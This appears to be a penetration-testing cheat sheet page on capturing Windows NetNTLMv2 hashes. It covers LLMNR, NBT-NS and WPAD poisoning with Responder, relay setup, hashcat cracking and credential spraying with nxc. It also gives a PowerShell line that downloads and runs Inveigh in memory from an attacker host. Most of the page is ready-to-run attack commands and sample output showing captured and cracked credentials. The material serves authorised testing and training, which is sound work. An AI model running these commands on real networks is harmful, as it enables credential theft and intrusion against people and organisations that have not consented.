Skip to content
HackIndex.io

Credential Capture with Responder

4 min read Created Jun 9, 2026 Last updated Aug 11, 2026

Windows hosts broadcast LLMNR and NBT-NS queries when DNS fails to resolve a hostname. Any host on the same network segment can respond to these broadcasts, prompting the requesting host to authenticate. Responder spoofs those responses and captures the resulting NetNTLMv2 hash.

Protocols Responder poisons:

  • LLMNR: Link-Local Multicast Name Resolution, enabled by default on Windows
  • NBT-NS: NetBIOS Name Service, legacy fallback after DNS and LLMNR
  • mDNS: multicast DNS, used by some services for local discovery
  • WPAD: Web Proxy Auto-Discovery, captures browser traffic credentials

Before starting, check NTLM Relay Conditions: if SMB signing is absent on any targets, relay immediately rather than cracking. If signing is enforced everywhere, capture and crack.

Responder capture mode

Run Responder on the interface facing the target subnet. WPAD (-w) and proxy auth (-P) capture additional hashes from browser traffic.

┌──(kali㉿kali)-[~]
└─$ # LLMNR + NBT-NS + mDNS + WPAD + proxy auth
┌──(kali㉿kali)-[~]
└─$ responder -I eth0 -wP
 
┌──(kali㉿kali)-[~]
└─$ # Verbose output: shows each incoming request
┌──(kali㉿kali)-[~]
└─$ responder -I eth0 -wPv 
[+] Poisoners: LLMNR [ON]  NBT-NS [ON]  mDNS [ON]
[SMB] NTLMv2-SSP Client   : 10.10.10.20
[SMB] NTLMv2-SSP Username : CORP\jsmith
[SMB] NTLMv2-SSP Hash     : jsmith::CORP:1a2b3c4d5e6f...:aabbcc...

Hashes accumulate in /usr/share/responder/logs/. Each protocol writes to its own file (SMB-NTLMv2-SSP-*.txt, HTTP-NTLMv2-*.txt, etc.).

Relay mode: disable built-in servers

When forwarding captured hashes to ntlmrelayx, Responder's own SMB and HTTP servers must be off to avoid port conflicts. Edit /usr/share/responder/Responder.conf before starting.

┌──(kali㉿kali)-[~]
└─$ # Disable Responder's SMB and HTTP servers
┌──(kali㉿kali)-[~]
└─$ sed -i 's/SMB = On/SMB = Off/' /usr/share/responder/Responder.conf
┌──(kali㉿kali)-[~]
└─$ sed -i 's/HTTP = On/HTTP = Off/' /usr/share/responder/Responder.conf
 
┌──(kali㉿kali)-[~]
└─$ # Run Responder: poisoning only, no server conflicts
┌──(kali㉿kali)-[~]
└─$ responder -I eth0 -wPv

With Responder poisoning and ntlmrelayx forwarding, proceed to NTLM Relay in Active Directory.

Crack captured hashes

NetNTLMv2 uses hashcat mode 5600. These hashes cannot be passed directly: crack to plaintext first.

┌──(kali㉿kali)-[~]
└─$ # Crack all captured NTLMv2 hashes
┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt /usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # With rules for common password mutation patterns
┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule 
jsmith::CORP:1a2b3c4d5e6f...: Password123!

After cracking, validate the credential against all hosts in the subnet. If the account has local admin rights anywhere, --local-auth confirms it across all machines: nxc smb $TARGET_SUBNET/24 -u $USER -p $PASSWORD --local-auth.

Capture from a Windows host: Inveigh

Responder requires direct access to the network segment from a Linux attacker. From a compromised Windows host inside the target network, Inveigh provides the same LLMNR and NBT-NS poisoning without any additional tooling.

PS C:\Users\Guest\Desktop> # Load Inveigh into memory
PS C:\Users\Guest\Desktop> IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/Inveigh.ps1')
 
PS C:\Users\Guest\Desktop> # Start LLMNR, NBT-NS, and mDNS poisoning
PS C:\Users\Guest\Desktop> Invoke-Inveigh -LLMNR Y -NBNS Y -mDNS Y -FileOutput Y
 
PS C:\Users\Guest\Desktop> # Check captured hashes interactively
PS C:\Users\Guest\Desktop> Get-InveighLog 
LLMNR request for DC01 received from 10.10.10.30
CORP\administrator:NTLMv2 captured

Inveigh writes captures to Inveigh-NTLMv2.txt in the working directory when -FileOutput Y is set. Transfer the file back to Kali and crack with hashcat mode 5600.

References